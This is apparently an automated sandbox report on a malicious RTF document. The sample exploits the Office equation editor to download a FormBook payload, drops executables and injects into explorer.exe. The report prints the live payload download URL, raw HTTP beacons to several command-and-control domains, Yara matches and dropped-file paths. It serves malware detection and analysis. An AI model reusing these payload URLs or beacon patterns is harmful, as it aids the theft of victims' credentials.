Source: explorer.exe, 00000008.00000000.356321404.0000000007968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880897164.0000000007997000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880897164.00000000078DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879757216.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880897164.000000000795D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.354623320.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.356321404.00000000078DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880167411.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.354257988.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000008.00000002.880897164.00000000078DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://
Source: explorer.exe, 00000008.00000000.356321404.0000000007968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880897164.0000000007997000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879757216.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880897164.000000000795D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.354623320.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.356321404.00000000078DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.880167411.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.354257988.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000008.00000002.879757216.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.354257988.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerxe
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.shucaimh.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.shucaimh.com/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.shucaimh.com/t2ti/www.6061k.vip
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.shucaimh.comReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.spacecargo.net
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.spacecargo.net/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.spacecargo.net/t2ti/www.michealwilshire.online
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.spacecargo.netReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ssongg10292.cfd
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ssongg10292.cfd/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ssongg10292.cfd/t2ti/www.hhmhhhbh.xyz
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ssongg10292.cfdReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.techsterverse.life
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.techsterverse.life/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.techsterverse.life/t2ti/www.www32561b.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.techsterverse.lifeReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.www32561b.com
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.www32561b.com/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.www32561b.com/t2ti/www.spacecargo.net
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.www32561b.comReferer:
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.xazeyu.net
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.xazeyu.net/t2ti/
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.xazeyu.net/t2ti/www.fxzx01.icu
Source: explorer.exe, 00000008.00000002.880897164.0000000007968000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.xazeyu.netReferer:
Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: explorer.exe, 00000008.00000000.353969269.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879285316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: EQNEDT32.EXE, 00000002.00000002.354183793.00000000002E5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354079033.00000000002E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamini.in/
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.354183793.00000000002E5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.353995693.0000000000357000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354079033.00000000002E5000.00000004.00000020.00020000.00000000.sdmp, balokarat2.1[1].htm.2.dr	String found in binary or memory: https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe
Source: EQNEDT32.EXE, 00000002.00000003.353995693.0000000000357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exeemC:
Source: EQNEDT32.EXE, 00000002.00000002.354164250.000000000028F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exeqqC:
Source: explorer.exe, 00000008.00000000.353969269.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879285316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000008.00000000.353969269.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879285316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: explorer.exe, 00000008.00000002.881102573.000000000891F000.00000004.80000000.00040000.00000000.sdmp, cmstp.exe, 00000009.00000002.879666706.000000000293F000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://zz.bdstatic.com/linksubmit/push.js

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{549C67C8-FC54-4D4D-BB29-D3A79D220C79}.tmp

Jump to behavior

Source: unknown

DNS traffic detected: queries for: swamini.in

Source: C:\Windows\explorer.exe

Code function: 8_2_08CA6F82 getaddrinfo,setsockopt,recv,

8_2_08CA6F82

Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/wpr-addons/forms/balokarat2.1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: swamini.in
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/wpr-addons/forms/balokarat2.1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: swamini.inConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=giwc8XVj/AkHwdj5caWP9R2rVnZav6a8h1CJcH9em0U/x824OxogtA/AOr9gMChFXFyvXA==&ll=NdqLMf HTTP/1.1Host: www.shucaimh.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?ll=NdqLMf&4hO02rc=qDIrkJK7+k7t2cKm0yqLDiQOFM/oPqsB85v8vrvlTOlWprVZbJOF5qoRsr2uTLTXyB6S3g== HTTP/1.1Host: www.6061k.vipConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1Host: www.xazeyu.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown	Network traffic detected: HTTP traffic on port 49162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49162

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 21 Nov 2023 12:27:15 GMTContent-Type: text/htmlContent-Length: 291Connection: closeETag: "6552b2aa-123"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>

Source: EQNEDT32.EXE, 00000002.00000002.354206908.0000000000317000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.354000639.0000000000310000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

HTTPS traffic detected: 103.224.247.210:443 -> 192.168.2.22:49162 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_00404FC2 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

5_2_00404FC2

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 7.2.twbcaze.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.twbcaze.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.twbcaze.exe.250000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.twbcaze.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 7.2.twbcaze.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 7.2.twbcaze.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 7.2.twbcaze.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 7.2.twbcaze.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 7.2.twbcaze.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 7.2.twbcaze.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.twbcaze.exe.250000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 6.2.twbcaze.exe.250000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.twbcaze.exe.250000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.twbcaze.exe.250000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 6.2.twbcaze.exe.250000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.twbcaze.exe.250000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.881171114.0000000008CBE000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
Source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: twbcaze.exe PID: 3164, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: twbcaze.exe PID: 3172, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: cmstp.exe PID: 3216, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\balokarat2.1[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\word.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_004047D3	5_2_004047D3
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_004061D4	5_2_004061D4
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_00416260	6_2_00416260
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_00421208	6_2_00421208
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_00416BCD	6_2_00416BCD
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_00410BF0	6_2_00410BF0
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_002308B7	6_2_002308B7
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_00230A2D	6_2_00230A2D
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00401030	7_2_00401030
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041E1CF	7_2_0041E1CF
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041EB5A	7_2_0041EB5A
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041E42B	7_2_0041E42B
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041E54B	7_2_0041E54B
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041ED50	7_2_0041ED50
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041D563	7_2_0041D563
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041D566	7_2_0041D566
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041DD6E	7_2_0041DD6E
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00402D90	7_2_00402D90
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00409E4D	7_2_00409E4D
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00409E50	7_2_00409E50
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00402FB0	7_2_00402FB0
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0084E0C6	7_2_0084E0C6
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0084E2E9	7_2_0084E2E9
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008F63BF	7_2_008F63BF
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008763DB	7_2_008763DB
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00852305	7_2_00852305
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0089A37B	7_2_0089A37B
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008D443E	7_2_008D443E
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008D05E3	7_2_008D05E3
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0086C5F0	7_2_0086C5F0
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00896540	7_2_00896540
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00854680	7_2_00854680
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0085E6C1	7_2_0085E6C1
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008F2622	7_2_008F2622
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0089A634	7_2_0089A634
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0085C7BC	7_2_0085C7BC
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0085C85C	7_2_0085C85C
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0087286D	7_2_0087286D
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008F098E	7_2_008F098E
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008529B2	7_2_008529B2
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008669FE	7_2_008669FE
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008E49F5	7_2_008E49F5
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0089C920	7_2_0089C920
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008FCBA4	7_2_008FCBA4
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008D6BCB	7_2_008D6BCB
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008F2C9C	7_2_008F2C9C
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008DAC5E	7_2_008DAC5E
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00880D3B	7_2_00880D3B
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0085CD5B	7_2_0085CD5B
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00882E2F	7_2_00882E2F
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0086EE4C	7_2_0086EE4C
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008ECFB1	7_2_008ECFB1
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008C2FDC	7_2_008C2FDC
